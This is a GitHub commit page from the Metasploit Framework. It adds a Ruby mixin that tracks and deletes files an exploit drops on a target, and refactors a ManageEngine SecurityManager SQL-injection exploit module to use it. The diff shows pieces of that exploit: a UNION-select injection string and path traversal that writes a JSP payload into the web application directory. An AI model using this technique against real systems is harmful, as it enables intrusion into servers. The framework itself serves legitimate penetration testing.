Skip to content

Commit 83708a5

Browse files
committed
Add a FileDropper mixin for recording cleanup targets
Doesn't cover shell sessions yet, so needs a bit more work
1 parent 0e7c3a8 commit 83708a5

File tree

2 files changed

+92
-8
lines changed

2 files changed

+92
-8
lines changed

lib/msf/core/exploit/file_dropper.rb

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
module Exploit::FileDropper
5+
6+
#
7+
# When a new session is created, attempt to delete any files that the
8+
# exploit created.
9+
#
10+
# @param (see Msf::Exploit#on_new_session)
11+
# @return [void]
12+
#
13+
def on_new_session(session)
14+
if session.type == "meterpreter"
15+
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
16+
end
17+
18+
@dropped_files.delete_if do |file|
19+
if session.type == "meterpreter"
20+
begin
21+
session.fs.file.rm(file)
22+
print_good("Deleted #{file}")
23+
true
24+
rescue ::Rex::Post::Meterpreter::RequestError
25+
false
26+
end
27+
else
28+
# Need to be platform-independent here. Not sure of the best way
29+
# to do that since we can't be certain that {#target} is
30+
# accurate; exploits with automatic targets frequently change
31+
# it.
32+
false
33+
end
34+
end
35+
36+
super
37+
end
38+
39+
#
40+
# Record file as needing to be cleaned up
41+
#
42+
# @param files [Array<String>] List of paths on the target that should
43+
# be deleted during cleanup. Each filename should be either a full
44+
# path or relative to the current working directory of the session
45+
# (not necessarily the same as the cwd of the server we're
46+
# exploiting).
47+
# @return [void]
48+
def register_files_for_cleanup(*files)
49+
@dropped_files ||= []
50+
@dropped_files += files
51+
52+
nil
53+
end
54+
55+
# Singular version
56+
alias register_file_for_cleanup register_files_for_cleanup
57+
58+
#
59+
# Warn the user if any files (registered with {#register_dropped_file}) were
60+
# not cleaned up
61+
#
62+
# @see Msf::Exploit#cleanup
63+
def cleanup
64+
super
65+
if @dropped_files and @dropped_files.any?
66+
@dropped_files.each do |f|
67+
print_warning("This exploit may require manual cleanup of: #{f}")
68+
end
69+
end
70+
end
71+
end
72+
end

modules/exploits/multi/http/manageengine_search_sqli.rb

Lines changed: 20 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,13 @@
66
##
77

88
require 'msf/core'
9+
require 'msf/core/exploit/file_dropper'
910

1011
class Metasploit3 < Msf::Exploit::Remote
1112
Rank = ExcellentRanking
1213

1314
include Msf::Exploit::Remote::HttpClient
15+
include Msf::Exploit::FileDropper
1416
include Msf::Exploit::EXE
1517

1618
def initialize(info={})
@@ -68,9 +70,10 @@ def pick_target
6870

6971
rnd_num = Rex::Text.rand_text_numeric(1)
7072
rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
71-
outpath = "../../webapps/SecurityManager/#{rnd_fname}"
73+
clean_path= "../webapps/SecurityManager/#{rnd_fname}"
74+
outpath = "../" + clean_path
7275

73-
@clean_ups << outpath
76+
register_file_for_cleanup(clean_path)
7477

7578
sqli = "#{rnd_num})) union select @@version,"
7679
sqli << (2..28).map {|e| e} * ","
@@ -95,6 +98,10 @@ def pick_target
9598
end
9699

97100

101+
=begin
102+
Now covered by FileDropper mixin. Keep it here, commented out, for now
103+
since FileDropper doesn't cover shell sessions yet.
104+
98105
#
99106
# We're in SecurityManager/bin at this point
100107
#
@@ -127,6 +134,7 @@ def on_new_session(cli)
127134
end
128135
}
129136
end
137+
=end
130138

131139

132140
#
@@ -229,6 +237,7 @@ def sqli_exec(sqli_string)
229237
'COUNT' => '1'
230238
}
231239
})
240+
232241
end
233242

234243
#
@@ -253,20 +262,23 @@ def inject_exec(out)
253262

254263

255264
def exploit
256-
# This is used to collect files we want to delete later
257-
@clean_ups = []
258-
259265
@my_target = pick_target
260266
if @my_target.nil?
261267
print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
262268
return
263269
end
264270

265271
jsp_name = rand_text_alpha(rand(6)+3)
266-
outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"
272+
# The working directory when our payload runs is
273+
# c:/AdventNet/SecurityManager/bin/
274+
# while the jsp file will be in
275+
# c:/AdventNet/SecurityManager/webapps/SecurityManager/
276+
# so we need to adjust the traversal level.
277+
clean_path= "../webapps/SecurityManager/#{jsp_name + '.jsp'}"
278+
outpath = "../" + clean_path
267279

268-
@clean_ups << outpath
280+
register_file_for_cleanup(clean_path)
269281

270282
inject_exec(outpath)
271283
end
272-
end
284+
end

0 commit comments

Comments
 (0)